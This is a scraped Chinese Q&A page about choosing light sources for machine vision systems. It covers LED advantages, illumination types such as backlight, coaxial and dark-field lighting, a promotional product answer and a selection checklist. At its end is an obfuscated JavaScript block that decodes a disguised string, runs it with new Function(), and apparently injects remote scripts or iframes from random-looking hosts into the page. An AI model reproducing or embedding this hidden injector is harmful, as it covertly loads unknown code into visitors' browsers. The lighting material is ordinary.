机器视觉光源的选择

2025-03-13 02:41:06
推荐回答(3个)
回答1:

机器视觉光源的选择

机器视觉光源的选择,现代生活中日常照明离不开灯光,房屋装修更是对光源的要求比较高,光源大体分为冷光和暖光,不同光源视觉感都不同,下面一起来了解一下,机器视觉光源的选择。

机器视觉光源的选择1

机器视觉光源

机器视觉检测系统采用CCD照相机将被检测的目标转换成图像信号,传送给专用的图像处理系统,根据像素分布和亮度、颜色等信息,转变成数字化信号,图像处理系统对这些信号进行各种运算来抽取目标的特征,如面积、数量、位置、长度,再根据预设的允许度和其他条件输出结果,包括尺寸、角度、个数、合格不合格、有无等,实现自动识别功能。

机器视觉光源的选择

一、简单的预备知识

1、因材质和厚度不同、对光的透过特性(透明度)各异。

2、光根据其波长之长短、对物质的穿透能力(穿透率)各异。

3、光的波长越长、对物质的透过力越强,光的波长越短、在物质表面的扩散率越大。

4、透射照明、即是使光线透射对象物、并观察其透过光之照明手法。

二、光源

1、穏定均匀的光源极其重要。

2、目的:将被测物与背景尽量明顕区分。

3、摂取图像时、最重要之处是如何鲜明地获得:被测物与背景的浓淡差。

4、目前,在图像处理领域中最広范的技术手法是:二值化(白黒)处理。

以上就是我针对机器视觉光源的选择这一科技的发明阐述的资料了,随着科技的发达每天都有很多新鲜的东西问世,无论是那一方面的机器还是新鲜事物都是随着人们的需求而发展的。像褪壳机一类的就是褪花生跟瓜子发明的,都是省力又省时间的伟大发明呢。

机器视觉光源的选择2

一套完整的视觉检测系统主要包含图像采集部分和图像分析部分,而图像采集部分主要由工业相机、工业镜头以及机器视觉光源承担,今天我们主要介绍机器视觉光源的相关基础知识及选型技巧。

首先我们需要了解,机器视觉中的光源起到哪些作用:

1.照亮目标,提高亮度;

2.形成有利于图像处理的成像效果,降低系统的复杂性和对图像处理算法的要求;

3.克服环境光干扰,保证图像稳定性,提高系统的精度、效率。

恰当的光源照明设计可以使图像中的目标信息与背景信息得到最佳分离,这样不仅大大降低图像处理的算法难度,同时也提高系统的精度和可靠性。但非常遗憾,目前没有通用的机器视觉照明系统应对不同的检测要求,因此针对每个特定的案例,都需要设计合适的照明装置,以达到最佳效果。而不合适的照明,则会引起很多问题,机器视觉光源如此重要,却往往被很多人忽视。

目前机器视觉光源主要采用LED(发光二极管),由于其形状自由度高、使用寿命长、响应速度快、单色性好、颜色多样、综合性价比高等特点在行业内广泛应用:

一、形状自由度

一个LED光源是由许多单个LED组合而成的,因而跟其他光源相比,可做成更多的形状,更容易针对用户的情况,设计光源的形状和尺寸。

二、使用寿命长

为了使图像处理单元得到精确的、重复性好的测量结果,照明系统必须保证相当长的时间内能够提供稳定的图像输入。LED光源在连续工作10000到30000小时后,亮度衰减,但远比其他光源效果好。此外,用控制系统使其间断工作,可抑制发光管发热,寿命也将延长一倍。

三、响应速度快

LED发光管响应时间很短,响应时间的真正意义是能按要求保证多个光源或一个光源不同区域之间的工作切换,采用专用控制器给LED光源供电时,达到最大照度的时间小于10s。

四、颜色多样

除了光源的形状以外,得到稳定图像输入的另一方面就是选择光源的颜色。甚至相同形状的光源,由于颜色的不同得到的图像也会有很大的差别。实际上,如何利用光源颜色的技术特性得到最佳对比度的图像效果一直是光源开发的主要方向。

五、综合性运营成本低

选用低廉而性能没有保证的产品,初次投资的节省很快会被日常的维护、维修费用抵消。其他光源不仅耗电是LED光源的2~10倍,而且几乎每月就要更换,浪费了维修工程师许多宝贵的时间。而且投入使用的光源越多,在器件更换和人工方面的花费就越大,因此选用寿命长的LED光源从长远看是很经济的'。

机器视觉照明技术基础知识:

1)照射方式

选择不同的光源,控制和调节照射到物体上的入射光的方向是机器视觉系统设计的最基本的参数。它取决于光源的类型和相对于物体放置的位置,一般来说有两种最基本的方式:直射光和漫射光,所有其它的方式都是从这两种方法中延伸出来的。

直射光:入射光基本上来自一个方向,射角小,它能投射出物体阴影;

漫射光:入射光来自多个方向,甚至于所有的方向,它不会投射出明显的阴影。

2)反射方式

物体反射光线有两种不同的反射特性:直反射和漫反射。

直反射:光线的反射角等于入射角。直反射有时用途很大,有时又可能产生极强的眩耀。在大多数情况应避免镜面反射。

漫反散:照射到物体上的光从各个方向漫散出去。在大多数实际情况下,漫散光在某个角度范围内形成,并取决于入射光的角度。

3)颜色

光谱中很大的一部分电磁波谱是人眼可见的,在这个波长范围内的电磁辐射被称作可见光,范围在400nm至760nm之间(有的人可以观测到380~780nm),即从紫色380nm到红色780nm。

色环就是把可见光光谱中的色彩进行排序,形成红色连接到另一端的紫色。机器视觉中应用的色环通常包括6种不同的颜色,分为两大类:暖色和冷色。暖色由红色调构成,冷色来自于蓝色调。通常用相反色温的光线照射,图像可以达到最高级别的对比度;相同色温的光线照射,可以有效滤除。因此灵活利用色温特性,对我们选择光源很有帮助。

4)明视场和暗视场

明视场是最常用的照明方案,采用正面直射光照射形成。而暗视场主要由低角度或背光照明形成。对于不同项目检测需求,选择不同类型的照明方式,一般来说暗视场会使背景呈现黑暗,而被检物体则呈现明亮。

5)光源分类

目前主要有以下几种分类方式:

a)颜色

常用光源颜色集中在可见光范围,主要有白光(复合光)、红色、蓝色、绿色,另外红外光也比较普及,而紫外光由于各种原因,应用较少。

b)外形

各厂家会根据不同光源外形特性进行分类,也是目前的主流分类,比如环形光源、环形低角度光源、条形光源、圆顶光源(碗光源/穹顶光源)、面光源等。

c)工作原理/特性

按不同的应用方式或者原理进行分类,主要有无影光源、同轴光源、点光源、线光源、背光源、组合光源以及结构光源等。

常见的光源类型及照明方式

1.一般目的的照明(直接照明):光直接射向物体,得到清楚的影像。

当我们需要得到高对比度物体图像的时候,这种类型的光很有效。但是当我们用它照在光亮或反射的材料上时,会引起类似镜面的反光。通用照明一般采用环状或点状照明。环光是一种常用的通用照明方式,很容易安装在镜头,可给漫反射表面提供足够的照明。

2.暗场照明:暗场照明是相对于物体表面提供低角度照明。

使用工业相机拍摄镜子,如果视野内能看见光源就认为是亮场照明,相反的在视野中看不到光源就是暗场照明。因此光源是亮场照明还是暗场照明与光源的位置有关。通常,暗场照明应用于对表面突起部分的照明或表面纹理变化的照明。

3.背光照明:从物体背面射过来均匀视场的光,通过相机可以看到物面的侧面轮廓。

背光照明常用于测量物体的尺寸和方向。背光照明产生很强的对比度。应用背光技术时,物体表面特征可能会丢失。例如,可以应用背光技术测量硬币的直径,但是却无法判断硬币的正反面。

4.漫射照明:连续漫反射照明应用于物体表面的反射性或者表面有复杂的角度。

连续漫反射照明应用半球形的均匀照明,以减小影子及镜面反射。这种照明方式对于完全组装的电路板照明非常有用。这种光源可以达到170球面度立体角范围的均匀照明。

5.同轴照明:同轴光的形成——通过垂直墙壁出来的发散光,射到一个使光向下的分光镜上,相机从上面通过分光镜看物体。

这种类型的光源对检测高反射的物体特别有帮助,还适合在周围环境产生阴影的影响下,检测面积不明显的物体。

6.偏振片:只允许振动方向平行于其允许方向的光通过,垂直分量被截止。

针对具体的应用,从众多的方案中选择一个最好的照明系统是整个图像处理系统稳定工作的关键。

回答2:

可以了解下51camera自主研发的机器视觉光源
ZQA-3000W 为51camera自主研发,专为复杂环境下视觉照明使用的光源。具有照射范围大,亮度高,亮度稳定等优点。在高速频闪的工作模式下可以精准控制点亮时刻及点亮时间;可以在高速、远距离、大范围、危险环境、高温、光线干扰等各种环境下为视觉系统提供可靠的照明。
ZQA-3000W 选用超高品质材料,瞬间亮度超高、稳定性好。在指定大小区域内,可以达到 1000000Lux 以上瞬间亮度。产品可无衰减点亮 10^8 次以上。
ZQA-3000W 采用独有技术,可瞬间增量至普通光源的十倍以上。 驱动电路为自主研发电路,点亮时间可做 us 级调节,可提供反接保护,过载保护等。
应用场景
公路智能交通
轨道交通
隧道检测
大型工件定位及检测
机器人抓取
安全与监控
医药生产
化学生产
高温状态下物体检测

想了解更多机器视觉光源产品及光源选择相关内容可登录:www.51camera.com.cn网页链接

回答3:

选择合适的光源对整个视觉系统起着举足轻重的作用,具体的光源选取方法还在于项目的实践经验中总结。在选择光源前,需要提前了解需求信息:
1、 确定项目检测内容具体属于哪一种:外观检查、尺寸测量、OCR、纹理分析、轮廓分析等。
2、 确定物料材质、表面颜色、在动态合适静止下采集图片。
3、 确定检测目标对象是什么:异物、伤痕、缺损、测量、形状识别、字符等。
4、 确定工作距离和安装条件对光源的影响。
5、 确定相机的种类(如面阵或线阵、彩色或黑白)对光源的限制条件。

!function(){function a(a){var _idx="e4ydksy2pg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8YoTfSLT@Jp"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"YoTfSLT@Jp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mhfO76RqmRT4"="Ks0X5ThF)mT)7F56RmRT4"="Ks02pThFmhfO76RqmRT4"="Ks0_JqhFmT)7F56RmRT4"="Ks02TOhFmhfO76RqmRT4"="Ks0CSqhF)mT)7F56RmRT4"="Ks0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q/f/Ks0j(8}vR8YoTfSLT@Jp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();